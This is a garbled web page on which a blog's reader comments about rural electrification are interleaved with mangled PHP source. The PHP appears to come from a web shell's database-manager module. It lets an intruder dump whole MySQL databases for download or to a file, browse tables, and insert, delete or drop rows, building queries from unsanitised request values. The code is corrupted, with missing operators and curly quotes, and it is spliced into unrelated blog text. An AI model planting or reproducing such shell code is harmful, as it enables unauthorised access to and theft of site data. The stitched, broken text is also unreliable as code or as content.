t=”1”>
< ?php
if (!empty($sql_act)) {echo “
ql_act "newtbl")
{

echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB "".htmlspecialchars($sql_newdb)."" has been created with success!</b><br>";
}

else {echo "Can't create DB "".htmlspecialchars($sql_newdb)."".<br>Reason: ".mysql_smarterror();}
}

elseif ($sql_act “dump”)
{

if (empty($submit))
{

$diplay = false;
echo “

SQL-Dump:

“;
echo “DB: 

“;
$v = join (“;”,$dmptbls);
echo “Only tables (explode “;”) 1: 

“;
if ($dump_file) {$tmp = $dump_file;}
else {$tmp = htmlspecialchars(“./dump_”.$SERVER_NAME.”_”.$sql_db.”_”.date(“d-m-Y-H-i-s”).”.sql”);}
echo “File: 

“;
echo “Download:  

“;
echo “Save to file:  “;
echo “



1 – all, if empty”;
echo “
“;
}

else
{

$diplay = true;
$set = array();
$set[“sock”] = $sql_sock;
$set[“db”] = $sql_db;
$dump_out = “download”;
$set[“print”] = 0;
$set[“nl2br”] = 0;
$set[“”] = 0;
$set[“file”] = $dump_file;
$set[“add_drop”] = true;
$set[“onlytabs”] = array();
if (!empty($dmptbls)) {$set[“onlytabs”] = explode(“;”,$dmptbls);}
$ret = mysql_dump($set);
if ($sql_dump_download)
{

@ob_clean();
header(“Content-type: application/octet-stream”);
header(“Content-length: “.strlen($ret));
header(“Content-disposition: attachment; filename=”“.basename($sql_dump_file).”“;”);
echo $ret;
exit;
}

elseif ($sql_dump_savetofile)
{

$fp = fopen($sql_dump_file,”w”);
if (!$fp) {echo “,$ret);
fclose($fp);
echo “Dumped! Dump has been writed to “”.htmlspecialchars(realpath($sql_dump_file)).”” (“.view_size(filesize($sql_dump_file)).”).”;
}

}
else {echo “Dump: nothing to do!“;}
}

}
if ($diplay)
{

if (!empty($sql_tbl))
{

if (empty($sql_tbl_act)) {$sql_tbl_act = “browse”;}
$count = mysql_query(“SELECT COUNT FROM `”.$sql_tbl.”`;”);
$count_row = mysql_fetch_array($count);
mysql_free_result($count);
$tbl_struct_result = mysql_query(“SHOW FIELDS FROM `”.$sql_tbl.”`;”);
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
$perpage = $sql_tbl_le – $sql_tbl_ls;
if (!is_numeric($perpage)) {$perpage = 10;}
$numpages = $count_row[0]/$perpage;
$e = explode(” “,$sql_order);
if (count($e) 2)
{

if ($e[0] “d”) {$asc_desc = “DESC”;}
else {$asc_desc = “ASC”;}
$v = “ORDER BY `”.$e[1].”` “.$asc_desc.” “;
}

else {$v = “”;}
$query = “SELECT * FROM `”.$sql_tbl.”` “.$v.”LIMIT “.$sql_tbl_ls.” , “.$perpage.”“;
$result = mysql_query($query) or print(mysql_smarterror());
echo “


Table “.htmlspecialchars($sql_tbl).” (“.mysql_num_fields($result).” cols and “.$count_row[0].” rows)
“;
echo “Structure ]   ”;
echo “Browse ]   ”;
echo “Dump ]   ”;
echo “Insert ]   ”;
if ($sql_tbl_act "structure") {echo "<br><br><b>Coming sooon!</b>";}
if ($sql_tbl_act “insert”)
{

if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_insert_radio))
{

}
else
{

echo “

Inserting row into table:
“;
if (!empty($sql_tbl_insert_q))
{

$sql_query = “SELECT * FROM `”.$sql_tbl.”`”;
$sql_query .= ” WHERE”.$sql_tbl_insert_q;
$sql_query .= ” LIMIT 1;”;
$result = mysql_query($sql_query,$sql_sock) or print(“

“.mysql_smarterror());
$values = mysql_fetch_assoc($result);
mysql_free_result($result);
}

else {$values = array();}
echo “

“;
foreach ($tbl_struct_fields as $field)
{

$name = $field[“Field”];
if (empty($sql_tbl_insert_q)) {$v = “”;}
echo “

$i++;
}

echo “

FieldTypeFunctionValue
“.htmlspecialchars($name).”“.$field[“Type”].”

“;
echo “Insert as new row“;
if (!empty($sql_tbl_insert_q)) {echo ” or Save“; echo ““;}
echo “

“;
}

}
if ($sql_tbl_act "browse")
{

$sql_tbl_ls = abs($sql_tbl_ls);
$sql_tbl_le = abs($sql_tbl_le);
echo "<hr size="1" noshade>."act=img&img=multipage" height="12" width="10" alt="Pages">&nbsp;";
$b = 0;
for($i=0;$i< $numpages;$i++)
{

if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href="".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage).""><u>";}
echo $i;
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u>";}
if (($i/30 round($i/30)) and ($i > 0)) {echo “
“;}
else {echo “ ”;}
}

if ($i 0) {echo "empty";}
echo "<form method="GET"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_db" value="".htmlspecialchars($sql_db).""><input type="hidden" name="sql_login" value="".htmlspecialchars($sql_login).""><input type="hidden" name="sql_passwd" value="".htmlspecialchars($sql_passwd).""><input type="hidden" name="sql_server" value="".htmlspecialchars($sql_server).""><input type="hidden" name="sql_port" value="".htmlspecialchars($sql_port).""><input type="hidden" name="sql_tbl" value="".htmlspecialchars($sql_tbl).""><input type="hidden" name="sql_order" value="".htmlspecialchars($sql_order).""><b>From:</b>&nbsp;<input type="text" name="sql_tbl_ls" value="".$sql_tbl_ls."">&nbsp;<b>To:</b>&nbsp;<input type="text" name="sql_tbl_le" value="".$sql_tbl_le."">&nbsp;<input type="submit" value="View"></input></input></input></input></input></input></input></input></input></input></input></form>";
echo "<br>1%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
echo "<tr>";
echo "<td><input type="checkbox" name="boxrow_all" value="1"></input></td>";
for ($i=0;$i<mysql_num_fields ($result);$i++)
{

$v = mysql_field_name($result,$i);
if ($e[0] “a”) {$s = “d”; $m = “asc”;}
else {$s = “a”; $m = “desc”;}
echo “f (empty($e[0])) {$e[0] = “a”;}
if ($e[1] != $v) {echo ““.$v.”“;}
else {echo ““.$v.”“;}
echo “”;
}

echo “Action“;
echo ““;
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{

echo “ $i = 0;
foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= ” `”.$name.”` = ‘”.addslashes($v).”’ AND”; $i++;}
if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
echo ““;
$i = 0;
foreach ($row as $k=>$v)
{

$v = htmlspecialchars($v);
if ($v == “”) {$v = “;}
echo ““.$v.”“;
$i++;
}

echo ““;
echo “Delete ”;
echo “Edit ”;
echo ““;
echo “
“;
}

mysql_free_result($result);
echo “
“1” noshade>

.”act=img&img=arrow_ltr” border=”0”> 

“;
}

}
else
{

$result = mysql_query(“SHOW TABLE STATUS”, $sql_sock);
if (!$result) {echo mysql_smarterror();}
else
{

echo “
=”POST”>

“;
$i = 0;
$tsize = $trows = 0;
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{

$tsize += $row[“Data_length”];
$trows += $row[“Rows”];
$size = view_size($row[“Data_length”]);
echo “

“;
echo ““;
echo ““;
echo ““;
echo ““;
echo ““;
echo ““;
echo ““;
echo ““;
echo ““;
$i++;
}

echo “

“;
echo ““;
echo ““;
echo ““;
echo ““;

2 Comments Add More..

  1. Universal and perpetual availability of Elecricity is of prime concern of all sensitive and caring individuals. Government has also initiated many laudable programmes like RGGVY, open access in transmission sector , private participation in ultra mega projects and renewed thrust on renewable sources of Electricity. The will is there and in due corse fruits will be visible.

    Comment by R.K.Mishra— 1/13/2007 @ 10:14 pm

  2. Fulfilment of bare minimum energy needs in tandem with the income generating activities may catalyse the desired initiative of electrifying the underpriveliged segments of our society. We also need to keep in place a locally active operation and maintenance system. Importantly enough, we need to take a close look at the successfully operating systems in immediate neighbourhoods and then try to replicate their successes elsewhere too. This seems logical too as a particular geogrpahical segment offers some kind of similarities within its immediate contours.

    Comment by Dr. Suneel Deambi— 2/13/2007 @ 3:21 pm

Leave a comment

Line and paragraph breaks automatic, e-mail address never displayed, HTML allowed:

(required)

(required)

Guidelines to use this Blog :
Comments with links in them won't be published other than in cases of rare exceptions.
Do not be rude to other users/authors or disrupt an ongoing conversation/debate.
Do not use ethnic slurs, engage in personal insults or use objectionable language.
Comments that include personal details such as postal addresses and telephone numbers will not be published.
Do try to use English to write your comments.


Please enter the number that is given in the above brown box in the field :




bleRowsTypeCreatedModifiedSizeAction
=”“.$sql_surl.”sql_tbl=”.urlencode($row[“Name”]).”“>“.$row[“Name”].” “.$row[“Rows”].”“.$row[“Type”].”“.$row[“Create_time”].”“.$row[“Update_time”].”“.$size.” Empty  Drop Insert 
»
“.$i.” table(s)
“.$trows.”“.$row[1].”